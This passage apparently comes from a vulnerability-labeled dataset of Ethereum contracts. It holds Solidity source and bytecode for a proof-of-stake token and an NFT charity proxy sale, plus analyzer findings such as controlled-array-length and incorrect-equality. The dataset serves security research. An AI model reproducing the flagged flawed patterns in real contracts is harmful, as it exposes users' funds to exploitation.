assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _supply);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data);
}
/**
* @title PoSTokenStandard
* @dev the interface of PoSTokenStandard
*/
contract PoSTokenStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() public returns (bool);
function coinAge(address staker) public view returns (uint256);
function annualInterest() public view returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract ONEXN is ERC223, PoSTokenStandard {
using SafeMath for uint256;
string public name = "ONEX Network";
string public symbol = "ONEXN";
uint8 public decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 3 days; // minimum age for coin age: 3D
uint public stakeMaxAge = 90 days; // stake age of full weight: 90D
uint public maxMintProofOfStake = 10**17; // default 10% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => transferInStruct[]) transferIns;
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function ONEXN() public {
maxTotalSupply = 10**25; // 10 Mil.
totalInitialSupply = 10**24; // 1 Mil.
chainStartTime = now;
stakeStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if(msg.sender == _to) return mint();
if(balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if(msg.sender == _to) return mint();
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
function mint() public canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() public view returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge(address staker) public view returns (uint256) {
return getCoinAge(staker, now);
}
function annualInterest() public view returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(365 days) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(365 days) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal view returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
// Due to the high interest rate for the first two years, compounding should be taken into account.
// Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1
if((_now.sub(stakeStartTime)).div(365 days) == 0) {
// 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period.
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(365 days) == 1){
// 2nd year effective annual interest rate is 50%
interest = (435 * maxMintProofOfStake).div(100);
}
uint offset = 10**uint(decimals);
return (_coinAge * interest).div(365 * offset);
}
function getCoinAge(address _address, uint _now) internal view returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
}
|
0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b5780631249c58b1461019557806318160ddd146101bc5780632ab4d052146101e1578063313ce567146101f457806342cbb15c1461021d5780635b054f9b1461023057806370a08231146102435780637419f1901461026257806395d89b41146102755780639fd4da4014610288578063a9059cbb1461029b578063aa9cdaf4146102bd578063b2552fc4146102dc578063be45fd62146102ef578063cbd8877e14610354578063cd474b0414610367578063e1c3bac61461037a578063f2bb5ce11461038d575b600080fd5b341561011657600080fd5b61011e6103a0565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015a578082015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101a8610449565b604051901515815260200160405180910390f35b34156101c757600080fd5b6101cf610656565b60405190815260200160405180910390f35b34156101ec57600080fd5b6101cf61065c565b34156101ff57600080fd5b610207610662565b60405160ff909116815260200160405180910390f35b341561022857600080fd5b6101cf61066b565b341561023b57600080fd5b6101cf610687565b341561024e57600080fd5b6101cf600160a060020a036004351661068d565b341561026d57600080fd5b6101cf6106a8565b341561028057600080fd5b61011e6106ae565b341561029357600080fd5b6101cf610721565b34156102a657600080fd5b6101a8600160a060020a0360043516602435610727565b34156102c857600080fd5b6101cf600160a060020a0360043516610763565b34156102e757600080fd5b6101cf610775565b34156102fa57600080fd5b6101a860048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061080c95505050505050565b341561035f57600080fd5b6101cf610840565b341561037257600080fd5b6101cf610846565b341561038557600080fd5b6101cf61084c565b341561039857600080fd5b6101cf610852565b6103a86112ff565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561043e5780601f106104135761010080835404028352916020019161043e565b820191906000526020600020905b81548152906001019060200180831161042157829003601f168201915b505050505090505b90565b600080600e54600d5410151561045e57600080fd5b600160a060020a033316600090815260106020526040812054116104855760009150610652565b600160a060020a033316600090815260116020526040812054116104ac5760009150610652565b6104b533610858565b9050600081116104c85760009150610652565b600d546104db908263ffffffff61095216565b600d55600160a060020a033316600090815260106020526040902054610507908263ffffffff61095216565b600160a060020a0333166000908152601060209081526040808320939093556011905290812061053691611311565b600160a060020a033316600090815260116020526040902080546001810161055e8382611332565b91600052602060002090016000604080519081016040908152600160a060020a033316600090815260106020908152919020546001608060020a0316825267ffffffffffffffff421690820152919050815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161790555050600160a060020a0333167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858260405190815260200160405180910390a2600191505b5090565b600d5490565b600e5481565b60065460ff1690565b60006106826008544361096190919063ffffffff16565b905090565b60075481565b600160a060020a031660009081526010602052604090205490565b60095481565b6106b66112ff565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561043e5780601f106104135761010080835404028352916020019161043e565b600f5481565b60006107316112ff565b61073a84610973565b156107515761074a84848361097b565b915061075c565b61074a848483610dfd565b5092915050565b600061076f8242611167565b92915050565b600c5460095442906107a4906301e133809061079890849063ffffffff61096116565b9063ffffffff6112e816565b15156107c957600c546107c29061030202606463ffffffff6112e816565b9150610652565b6107e66301e133806107986009548461096190919063ffffffff16565b6001141561065257600c54610806906101b302606463ffffffff6112e816565b91505090565b600061081784610973565b1561082e5761082784848461097b565b9050610839565b610827848484610dfd565b9392505050565b600a5481565b60085481565b600b5481565b600c5481565b6000806000806000600954421015801561087457506000600954115b151561087f57600080fd5b42935061088c8685611167565b92506000831161089f5760009450610949565b600c5491506108c16301e133806107986009548761096190919063ffffffff16565b15156108e657600c546108df9061030202606463ffffffff6112e816565b9150610926565b6109036301e133806107986009548761096190919063ffffffff16565b6001141561092657600c54610923906101b302606463ffffffff6112e816565b91505b5060065460ff16600a0a61094683830261016d830263ffffffff6112e816565b94505b50505050919050565b60008282018381101561083957fe5b60008282111561096d57fe5b50900390565b6000903b1190565b600080600085600160a060020a031633600160a060020a031614156109a9576109a2610449565b9250610df4565b846109b33361068d565b10156109be57600080fd5b6109d7856109cb3361068d565b9063ffffffff61096116565b600160a060020a033316600090815260106020526040902055610a09856109fd8861068d565b9063ffffffff61095216565b600160a060020a03871660008181526010602052604090819020929092558793509063c0ee0b8a90339088908890518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610abb578082015183820152602001610aa3565b50505050905090810190601f168015610ae85780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610b0857600080fd5b6102c65a03f11515610b1957600080fd5b505050600160a060020a0333166000908152601160205260408120541115610b5c57600160a060020a0333166000908152601160205260408120610b5c91611311565b50600160a060020a0333166000908152601160205260409020805442919060018101610b888382611332565b91600052602060002090016000604080519081016040908152600160a060020a033316600090815260106020908152919020546001608060020a0316825267ffffffffffffffff861690820152919050815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161790555050600160a060020a0386166000908152601160205260409020805460018101610c628382611332565b91600052602060002090016000604080519081016040526001608060020a038916815267ffffffffffffffff85166020820152919050815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161790555050600160a060020a038087169033167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405190815260200160405180910390a385600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd1878760405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015610db4578082015183820152602001610d9c565b50505050905090810190601f168015610de15780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600192505b50509392505050565b60008084600160a060020a031633600160a060020a03161415610e2957610e22610449565b915061115f565b83610e333361068d565b1015610e3e57600080fd5b610e4b846109cb3361068d565b600160a060020a033316600090815260106020526040902055610e71846109fd8761068d565b600160a060020a038087166000908152601060209081526040808320949094553390921681526011909152908120541115610ec757600160a060020a0333166000908152601160205260408120610ec791611311565b50600160a060020a0333166000908152601160205260409020805442919060018101610ef38382611332565b91600052602060002090016000604080519081016040908152600160a060020a033316600090815260106020908152919020546001608060020a0316825267ffffffffffffffff861690820152919050815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161790555050600160a060020a0385166000908152601160205260409020805460018101610fcd8382611332565b91600052602060002090016000604080519081016040526001608060020a038816815267ffffffffffffffff85166020820152919050815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161790555050600160a060020a038086169033167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405190815260200160405180910390a384600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd1868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b8381101561111f578082015183820152602001611107565b50505050905090810190601f16801561114c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600191505b509392505050565b600160a060020a0382166000908152601160205260408120548190819081901161119457600092506112e0565b600091505b600160a060020a0385166000908152601160205260409020548210156112e057600a54600160a060020a03861660009081526011602052604090208054611209929190859081106111e657fe5b600091825260209091200154608060020a900467ffffffffffffffff1690610952565b841015611215576112d5565b600160a060020a0385166000908152601160205260409020805461126291908490811061123e57fe5b6000918252602090912001548590608060020a900467ffffffffffffffff16610961565b9050600b548111156112735750600b545b6112d2611289826201518063ffffffff6112e816565b600160a060020a03871660009081526011602052604090208054859081106112ad57fe5b60009182526020909120015485916001608060020a039091160263ffffffff61095216565b92505b600190910190611199565b505092915050565b60008082848115156112f657fe5b04949350505050565b60206040519081016040526000815290565b508054600082559060005260206000209081019061132f919061135b565b50565b8154818355818115116113565760008381526020902061135691810190830161135b565b505050565b61044691905b8082111561065257805477ffffffffffffffffffffffffffffffffffffffffffffffff191681556001016113615600a165627a7a723058200c32681adf06d9fe023af0cceb08961df8ecb9f45740f6724f8ae72ede5c386f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,163 |
0xf3752bc7d33cc2c20e1fca860c451c5497de86c5
|
pragma solidity ^0.8.0;
// THIS IS THE BASTARD GAN PUNKS V2 PROXY SALE CONTRACT:
// THE CONTRACT IS WRITTEN TO CATAPULT A NEW PRICING MODEL TO KILL THE BONDING CURVE ON ORIGINAL CONTRACT, TO GIVE NEW MINTS TO USERS VIA DISCOUNTED PRICE. AND ALL INCOME FROM MINTS DIRECTLY GO TO CHARITIES OF MINTER'S CHOICE.
// LONG LIVE BASTARDS!
// WHAT THIS CONTRACT BASICALLY DOES IS:
// THE PRICE GRADUALLY DECREASES EVERY SECOND, AND WHEN SOMEONE ADOPTS A BASTARD FROM HERE, FEE IS DIRECTLY TRANSFERRED TO CHARITY, AND THIS CONTRACT ADOPTS A BASTARD FROM ORIGINAL CONTRACT WITH ORIGINAL PRICE, AND TRANSFERS TO THE MINTER.
// Project website: https://bastardganpunks.club
// berk aka PrincessCamel - https://berkozdemir.com
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface BGANPUNKSV2 {
function calculatePrice() external view returns (uint256);
function adoptBASTARD(uint256 numBastards) external payable;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function totalSupply() external view returns (uint256);
}
// THIS IS WHERE THE MAGIC HAPPENS
contract BASTARDGANPUNKSV2PROXYSALE is Ownable, IERC721Receiver {
address payable public treasuryAddress;
uint256 public startTime;
bool public saleRunning = false;
uint256 private two = 2;
uint256 public startprice;
uint256 public discountPerSecond;
uint256 public halvingTimeInterval;
address public BGANPUNKSV2ADDRESS =
0x31385d3520bCED94f77AaE104b406994D8F2168C;
struct Charity {
string name;
address charityAddress;
}
Charity[] public charities;
event saleStarted( uint indexed startTime, uint indexed startPrice, uint indexed halvingTimeInterval);
event charityAdded(string indexed _name, address indexed _address);
event charityEdited(uint indexed _index, string indexed _name, address indexed _address);
event charityRemoved(uint indexed _index);
event donationSent(string indexed charityName, uint indexed amount);
constructor(address payable _treasuryAddress) {
treasuryAddress = _treasuryAddress;
}
receive() external payable {}
function startSale(uint256 _startPrice, uint256 _halvingInterval)
public
onlyOwner
{
startTime = block.timestamp;
startprice = _startPrice;
halvingTimeInterval = _halvingInterval;
discountPerSecond = startprice / halvingTimeInterval / two;
saleRunning = true;
emit saleStarted(startTime, _startPrice, _halvingInterval);
}
function pauseSale() public onlyOwner {
saleRunning = false;
}
function resumeSale() public onlyOwner {
saleRunning = true;
}
// SET CHARITIES AND VIEW
function addCharity(address _address, string memory _name)
public
onlyOwner
{
charities.push(Charity(_name, _address));
emit charityAdded(_name, _address);
}
function editCharity(
uint256 index,
address _address,
string memory _name
) public onlyOwner {
charities[index].name = _name;
charities[index].charityAddress = _address;
emit charityEdited(index, _name, _address);
}
function removeCharityNoOrder(uint index)
public
onlyOwner
{
charities[index] = charities[charities.length - 1];
charities.pop();
emit charityRemoved(index);
}
function getCharityCount() public view returns (uint256) {
return charities.length;
}
function getCharities() public view returns (Charity[] memory) {
return charities;
}
function getCharity(uint index) public view returns (Charity memory) {
require(index < charities.length, "YOU REQUESTED A CHARITY OUTSIDE THE RANGE PAL");
return charities[index];
}
// MINTING BASTARDS - CALCULATING PRICE AND TIME
function howManySecondsElapsed() public view returns (uint256) {
if(saleRunning) {
return block.timestamp - startTime;
} else {
return 0;
}
}
function calculateDiscountedPrice() public view returns (uint256) {
require(saleRunning, "SALE HASN'T STARTED OR PAUSED");
uint256 elapsed = block.timestamp - startTime;
uint256 factorpow = elapsed / halvingTimeInterval;
uint256 priceFactor = two ** factorpow;
uint256 howmanyseconds =
elapsed % halvingTimeInterval * discountPerSecond / priceFactor;
uint256 finalPrice = startprice / priceFactor - howmanyseconds;
return finalPrice;
}
function calculateDiscountedPriceTest(uint256 elapsedTime)
public
view
returns (uint256)
{
require(saleRunning, "SALE HASN'T STARTED OR PAUSED");
uint256 factorpow = elapsedTime / halvingTimeInterval;
uint256 priceFactor = two**factorpow;
uint256 howmanyseconds =
elapsedTime % halvingTimeInterval * discountPerSecond / priceFactor;
uint256 finalPrice = startprice / priceFactor - howmanyseconds;
return finalPrice;
}
function adoptCheaperBASTARD(uint256 _charitychoice, uint256 _amount)
public
payable
{
uint256 originalPrice =
BGANPUNKSV2(BGANPUNKSV2ADDRESS).calculatePrice() * _amount;
require(
msg.value >= calculateDiscountedPrice() * _amount,
"YOU HAVEN'T PAID ENOUGH LOL"
);
require(
_charitychoice < charities.length,
"U CHOSE A CHARITY THAT DOESN'T EXIST"
);
payable(charities[_charitychoice].charityAddress).transfer(msg.value);
BGANPUNKSV2(BGANPUNKSV2ADDRESS).adoptBASTARD{value: originalPrice}(
_amount
);
uint256 total = BGANPUNKSV2(BGANPUNKSV2ADDRESS).totalSupply();
for (uint256 i = total - _amount; i < total; i++) {
BGANPUNKSV2(BGANPUNKSV2ADDRESS).safeTransferFrom(
address(this),
msg.sender,
i,
""
);
}
emit donationSent(charities[_charitychoice].name, msg.value);
}
// ADD - REMOVE FUNDS TO MAKE THIS CONTRACT ABLE TO BUY BASTARDS FROM THE ORIGINAL BGANPUNKSV2 CONTRACT
function addFundsToContract() public payable onlyOwner {
payable(address(this)).transfer(msg.value);
}
function returnFunds() public onlyOwner {
treasuryAddress.transfer(address(this).balance);
}
function setTreasuryAddress(address payable _address) public onlyOwner {
treasuryAddress = _address;
}
// SOME BORING STUFF THAT IS NEEDED
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
|
0x6080604052600436106101bb5760003560e01c806378bb01cc116100ec578063c8c3ee7f1161008a578063f2fde38b11610064578063f2fde38b1461056b578063f4f3122e14610594578063fb709d2e146105bd578063fd67db81146105fb576101c2565b8063c8c3ee7f146104ec578063ca057f6614610517578063e6cdbfe714610540576101c2565b8063a4e8d2bf116100c6578063a4e8d2bf14610461578063abc735de1461048c578063c5f956af14610496578063c7f8e7f3146104c1576101c2565b806378bb01cc146103e057806378e979251461040b5780638da5cb5b14610436576101c2565b806348112c6f11610159578063715018a611610133578063715018a6146103595780637185a44b1461037057806372f7bec81461039b57806375ceb0d9146103c4576101c2565b806348112c6f146102ee57806355367ba9146103195780636605bfda14610330576101c2565b80631eb5ea2e116101955780631eb5ea2e1461026a5780632f8383961461028157806333e364cb146102ac5780633779a3b6146102c3576101c2565b80630c825e58146101c7578063150b7a02146101f05780631e9bc8c11461022d576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101ee60048036038101906101e9919061227f565b610638565b005b3480156101fc57600080fd5b506102176004803603810190610212919061215e565b6107fd565b6040516102249190612781565b60405180910390f35b34801561023957600080fd5b50610254600480360381019061024f919061222d565b610811565b60405161026191906128ae565b60405180910390f35b34801561027657600080fd5b5061027f6108d9565b005b34801561028d57600080fd5b506102966109c0565b6040516102a391906128ae565b60405180910390f35b3480156102b857600080fd5b506102c16109f4565b005b3480156102cf57600080fd5b506102d8610a8d565b6040516102e59190612766565b60405180910390f35b3480156102fa57600080fd5b50610303610aa0565b6040516103109190612744565b60405180910390f35b34801561032557600080fd5b5061032e610be7565b005b34801561033c57600080fd5b5061035760048036038101906103529190612135565b610c80565b005b34801561036557600080fd5b5061036e610d40565b005b34801561037c57600080fd5b50610385610e7a565b60405161039291906128ae565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd91906121d9565b610e87565b005b6103de60048036038101906103d991906122e6565b61101c565b005b3480156103ec57600080fd5b506103f561149c565b60405161040291906128ae565b60405180910390f35b34801561041757600080fd5b506104206114a2565b60405161042d91906128ae565b60405180910390f35b34801561044257600080fd5b5061044b6114a8565b60405161045891906126c4565b60405180910390f35b34801561046d57600080fd5b506104766114d1565b60405161048391906128ae565b60405180910390f35b6104946114d7565b005b3480156104a257600080fd5b506104ab61159c565b6040516104b891906126df565b60405180910390f35b3480156104cd57600080fd5b506104d66115c2565b6040516104e391906128ae565b60405180910390f35b3480156104f857600080fd5b506105016115c8565b60405161050e91906126c4565b60405180910390f35b34801561052357600080fd5b5061053e6004803603810190610539919061222d565b6115ee565b005b34801561054c57600080fd5b5061055561184d565b60405161056291906128ae565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d919061210c565b611926565b005b3480156105a057600080fd5b506105bb60048036038101906105b691906122e6565b611acf565b005b3480156105c957600080fd5b506105e460048036038101906105df919061222d565b611bd3565b6040516105f292919061279c565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d919061222d565b611caf565b60405161062f919061288c565b60405180910390f35b610640611e40565b73ffffffffffffffffffffffffffffffffffffffff1661065e6114a8565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab9061280c565b60405180910390fd5b80600984815481106106ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016000019080519060200190610713929190611e48565b50816009848154811061074f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16816040516107c39190612696565b6040518091039020847f4305d18b4494b4ef78a02e589a6f6aa38b428221a4246f40fee8b2d84a7e735860405160405180910390a4505050565b600063150b7a0260e01b9050949350505050565b6000600360009054906101000a900460ff16610862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108599061284c565b60405180910390fd5b60006007548361087291906129e7565b90506000816004546108849190612a6b565b90506000816006546007548761089a9190612d8b565b6108a49190612b89565b6108ae91906129e7565b9050600081836005546108c191906129e7565b6108cb9190612be3565b905080945050505050919050565b6108e1611e40565b73ffffffffffffffffffffffffffffffffffffffff166108ff6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094c9061280c565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156109bd573d6000803e3d6000fd5b50565b6000600360009054906101000a900460ff16156109ec57600254426109e59190612be3565b90506109f1565b600090505b90565b6109fc611e40565b73ffffffffffffffffffffffffffffffffffffffff16610a1a6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a679061280c565b60405180910390fd5b6001600360006101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b60606009805480602002602001604051908101604052809291908181526020016000905b82821015610bde5783829060005260206000209060020201604051806040016040529081600082018054610af790612cdf565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2390612cdf565b8015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505081526020019060010190610ac4565b50505050905090565b610bef611e40565b73ffffffffffffffffffffffffffffffffffffffff16610c0d6114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a9061280c565b60405180910390fd5b6000600360006101000a81548160ff021916908315150217905550565b610c88611e40565b73ffffffffffffffffffffffffffffffffffffffff16610ca66114a8565b73ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf39061280c565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d48611e40565b73ffffff